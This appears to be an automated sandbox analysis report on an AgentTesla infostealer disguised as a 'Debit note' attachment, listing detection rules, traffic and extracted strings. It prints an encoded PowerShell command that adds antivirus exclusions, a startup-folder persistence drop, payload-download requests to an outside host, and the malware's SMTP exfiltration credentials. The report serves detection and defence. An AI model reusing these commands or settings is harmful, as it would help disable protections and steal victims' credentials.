Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs" , ProcessId: 2196, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe", ParentImage: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe, ParentProcessId: 6972, ParentProcessName: Debit note -MSR_2024_0024- and Attachments.com.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZ

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe, ProcessId: 6972, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 8.2.InstallUtil.exe.7b0000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "25", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\app.exe

ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: Debit note -MSR_2024_0024- and Attachments.com.exe	Virustotal: Detection: 36%			Perma Link
Source: Debit note -MSR_2024_0024- and Attachments.com.exe	ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\app.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Joe Sandbox ML: detected

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1936749239.0000000006520000.00000004.08000000.00040000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003BC3000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1936749239.0000000006520000.00000004.08000000.00040000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003BC3000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: ystem.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1835401977.0000000000B0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 4x nop then jmp 06CFD355h	0_2_06CFD140
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 4x nop then jmp 06CFD355h	0_2_06CFD130
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 4x nop then jmp 065DD355h	15_2_065DD140
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 4x nop then jmp 065DD355h	15_2_065DD130

Source: Joe Sandbox View

IP Address: 46.175.148.58 46.175.148.58

Source: global traffic

TCP traffic: 192.168.2.4:49740 -> 46.175.148.58:25

Source: global traffic	HTTP traffic detected: GET /panel/uploads/Xplpg.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: hlag.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /panel/uploads/Xplpg.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: hlag.ccConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /panel/uploads/Xplpg.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: hlag.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /panel/uploads/Xplpg.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: hlag.ccConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: hlag.cc
Source: global traffic	DNS traffic detected: DNS query: mail.iaa-airferight.com

Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000004.00000002.1835568402.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003431000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2161010732.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hlag.cc
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003431000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2161010732.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hlag.cc/panel/uploads/Xplpg.dat
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://hlag.cc/panel/uploads/Xplpg.dat1Fg2ROJj0ykghY1P/pZy
Source: InstallUtil.exe, 00000008.00000002.2109812273.00000000027E6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000013.00000002.2932475445.0000000002586000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.iaa-airferight.com
Source: powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003431000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1836399971.00000000049E1000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2161010732.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp, Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000004.00000002.1836399971.00000000049E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003460000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2161010732.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.InstallUtil.exe.7b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065CAA28 NtResumeThread,	0_2_065CAA28
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065CAA21 NtResumeThread,	0_2_065CAA21
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066A8558 NtResumeThread,	15_2_066A8558
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066A8550 NtResumeThread,	15_2_066A8550

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_01502098	0_2_01502098
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_01502088	0_2_01502088
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065C8EF8	0_2_065C8EF8
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065C3CF0	0_2_065C3CF0
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065C8EE8	0_2_065C8EE8
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065C0040	0_2_065C0040
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065C003E	0_2_065C003E
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BE86CB	0_2_06BE86CB
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BE6D59	0_2_06BE6D59
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BE4BA8	0_2_06BE4BA8
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BEAE18	0_2_06BEAE18
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BE0FF8	0_2_06BE0FF8
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BE4B98	0_2_06BE4B98
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BE1008	0_2_06BE1008
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BED050	0_2_06BED050
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C30085	0_2_06C30085
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C30088	0_2_06C30088
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C3E0A8	0_2_06C3E0A8
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C36868	0_2_06C36868
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C361A1	0_2_06C361A1
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C361B0	0_2_06C361B0
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06CF8D30	0_2_06CF8D30
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06CFF150	0_2_06CFF150
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06CFF13F	0_2_06CFF13F
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D11670	0_2_06D11670
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D11662	0_2_06D11662
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D1AC5A	0_2_06D1AC5A
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D1AC43	0_2_06D1AC43
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D14DE8	0_2_06D14DE8
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D1AB5A	0_2_06D1AB5A
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D1B310	0_2_06D1B310
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D10040	0_2_06D10040
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D10013	0_2_06D10013
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF7478	0_2_06DF7478
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF15DF	0_2_06DF15DF
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DFDB90	0_2_06DFDB90
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DFA820	0_2_06DFA820
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF746A	0_2_06DF746A
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF0040	0_2_06DF0040
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF003D	0_2_06DF003D
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DFF1A8	0_2_06DFF1A8
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DFDEC7	0_2_06DFDEC7
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF5D31	0_2_06DF5D31
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF9B49	0_2_06DF9B49
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DFA811	0_2_06DFA811
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06E715C0	0_2_06E715C0
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06E715B3	0_2_06E715B3
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06E7DC20	0_2_06E7DC20
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06E7DC11	0_2_06E7DC11
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_070FF7E8	0_2_070FF7E8
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_070FFAA0	0_2_070FFAA0
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_070FE270	0_2_070FE270
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_070E003D	0_2_070E003D
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_070E0040	0_2_070E0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00F8D010	4_2_00F8D010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00F8E137	4_2_00F8E137
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00F8CFE8	4_2_00F8CFE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00BA9370	8_2_00BA9370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00BAB76F	8_2_00BAB76F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00BA4A90	8_2_00BA4A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00BACDA8	8_2_00BACDA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00BA3E78	8_2_00BA3E78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00BA41C0	8_2_00BA41C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D5DD18	8_2_05D5DD18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D5BD08	8_2_05D5BD08
